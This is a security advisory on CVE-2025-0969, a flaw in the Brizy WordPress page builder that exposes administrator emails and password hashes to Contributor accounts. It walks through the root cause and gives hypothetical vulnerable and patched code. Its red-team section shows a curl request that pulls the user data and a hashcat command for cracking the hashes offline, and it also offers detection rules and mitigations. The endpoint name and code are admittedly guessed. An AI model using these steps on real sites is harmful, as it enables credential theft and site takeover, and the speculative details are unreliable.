CVE-2025-0969

Executive Summary

CVE-2025-0969 is a Sensitive Information Exposure vulnerability in the Brizy – Page Builder WordPress plugin, affecting all versions up to and including 2.7.16. The flaw resides in the get_users() function, which fails to properly restrict the data returned to authenticated users. An attacker with Contributor-level access or higher can exploit this to extract sensitive data, including email addresses and hashed passwords of administrators. This exposure significantly increases the risk of credential theft and subsequent privilege escalation within the WordPress ecosystem.

The vulnerability has a CVSS v3.1 base score of 6.5 (Medium), with a vector emphasizing low attack complexity and high confidentiality impact. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not yet provided a patch. The EPSS score is 0.0%, indicating low current exploitation activity, but the risk remains high due to the potential for credential harvesting.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches immediately upon release. Since the plugin is part of the WordPress ecosystem, supply chain risks include compromised plugin updates or malicious forks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Requires Contributor-level access.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Exposure of sensitive data (emails, password hashes).
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the potential for credential theft and lateral movement within the WordPress environment elevates the risk. The lack of a patch and the low privilege requirement make this a significant concern for multi-tenant WordPress installations.

Deep Dive & Mechanics

The vulnerability is located in the get_users() function of the Brizy plugin. This function is intended to retrieve user data for the page builder’s interface, but it does not properly sanitize or restrict the fields returned. Specifically, it exposes the user_email and user_pass (hashed password) fields for all users, including administrators.

Root Cause: The function likely uses a WordPress WP_User_Query without specifying a limited set of fields, or it directly accesses the $user->data object which contains sensitive fields. The lack of a capability check or field filtering allows any authenticated user with the edit_posts capability (Contributor and above) to enumerate all users and extract their sensitive data.

Attack Flow:

1. An attacker authenticates with a Contributor-level account.
2. The attacker sends a crafted request to the Brizy endpoint that triggers get_users().
3. The function returns an array of user objects containing user_email and user_pass (hashed).
4. The attacker extracts the hashed passwords and attempts offline cracking (e.g., using hashcat) to recover plaintext passwords.
5. With an administrator’s credentials, the attacker gains full control over the WordPress site.

Vulnerable vs. Patched Code

Vulnerable Code (Brizy <= 2.7.16):

// Hypothetical vulnerable implementation
public function get_users() {
    $users = get_users();
    $data = array();
    foreach ($users as $user) {
        $data[] = array(
            'ID' => $user->ID,
            'user_email' => $user->user_email,
            'user_pass' => $user->user_pass, // Exposes hashed password
            'display_name' => $user->display_name
        );
    }
    return $data;
}

Patched Code (Expected fix):

// Hypothetical patched implementation
public function get_users() {
    if (!current_user_can('manage_options')) {
        return array(); // Restrict to administrators only
    }
    $users = get_users();
    $data = array();
    foreach ($users as $user) {
        $data[] = array(
            'ID' => $user->ID,
            'display_name' => $user->display_name,
            'user_email' => $user->user_email // Only expose email if necessary
            // 'user_pass' is intentionally omitted
        );
    }
    return $data;
}

Key Differences:

• The patched version adds a capability check (manage_options) to restrict access to administrators.
• The user_pass field is removed from the returned data.
• The function may also limit the fields returned to only those necessary for the page builder’s functionality.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with Brizy plugin version <= 2.7.16.
• A Contributor-level account (username/password).

Exploitation Steps:

1. Log in to WordPress with the Contributor account.
2. Identify the Brizy AJAX endpoint. Typically, Brizy uses admin-ajax.php with an action like brizy_get_users.
3. Send a POST request to wp-admin/admin-ajax.php with the action parameter.
4. Parse the JSON response to extract email addresses and password hashes.

Example cURL Command:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "action=brizy_get_users&_ajax_nonce=<nonce>" \
  -b "wordpress_logged_in_<hash>=<session_cookie>"

Expected Response:

[
  {
    "ID": 1,
    "user_email": "admin@example.com",
    "user_pass": "$P$Bhashedpassword123",
    "display_name": "Admin"
  },
  {
    "ID": 2,
    "user_email": "editor@example.com",
    "user_pass": "$P$Bhashedpassword456",
    "display_name": "Editor"
  }
]

Offline Password Cracking:

hashcat -m 400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

Blue Team (Detection & Mitigation)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with the brizy_get_users action from low-privilege users.
• Alert on multiple failed login attempts from IPs that previously triggered the vulnerability.
• Review logs for Contributor accounts making API calls that return user lists.

Mitigation:

• Immediately restrict Contributor and Author roles from accessing the Brizy page builder if not needed.
• Apply the principle of least privilege: ensure only administrators can manage users.
• If a patch is unavailable, consider disabling the Brizy plugin temporarily or using a Web Application Firewall (WAF) to block requests to the vulnerable endpoint.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=brizy_get_users.
  • JSON responses containing user_pass fields.
• File IOCs:
  • Log entries in wp-content/debug.log showing get_users() calls from non-admin users.
• User IOCs:
  • Contributor accounts with unusual activity, such as multiple AJAX requests in a short period.
• Hash IOCs:
  • Password hashes extracted from the response (e.g., $P$B... format).

Detection Engineering

YARA Rule

rule Brizy_Sensitive_Data_Exposure {
    meta:
        description = "Detects Brizy plugin files exposing user_pass field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0969"
    strings:
        $s1 = "user_pass" ascii wide nocase
        $s2 = "get_users" ascii wide nocase
        $s3 = "brizy" ascii wide nocase
    condition:
        all of ($s*) and filesize < 500KB
}

Sigma Rule

title: Brizy Sensitive Information Exposure via get_users
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-0969 by monitoring AJAX requests to brizy_get_users
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=brizy_get_users'
    condition: selection
falsepositives:
    - Legitimate Brizy page builder usage by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-0969 Brizy Sensitive Information Exposure";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=brizy_get_users";
    http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Brizy plugin if it is not critical to operations.
2. Restrict user roles: Remove edit_posts capability from Contributor and Author roles if they do not require it.
3. Monitor logs for exploitation attempts and block suspicious IPs.

Long-term Fix:

• Apply the official patch once released by the vendor.
• If no patch is available, consider forking the plugin and removing the user_pass field from the get_users() function.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=brizy_get_users from non-admin users.

Workaround Code (if patching is not possible): Add the following to your theme’s functions.php to disable the vulnerable function:

add_action('init', function() {
    if (class_exists('Brizy_Editor_User')) {
        remove_action('wp_ajax_brizy_get_users', array('Brizy_Editor_User', 'get_users'));
    }
});

Valters IT
Securing Digital Ecosystems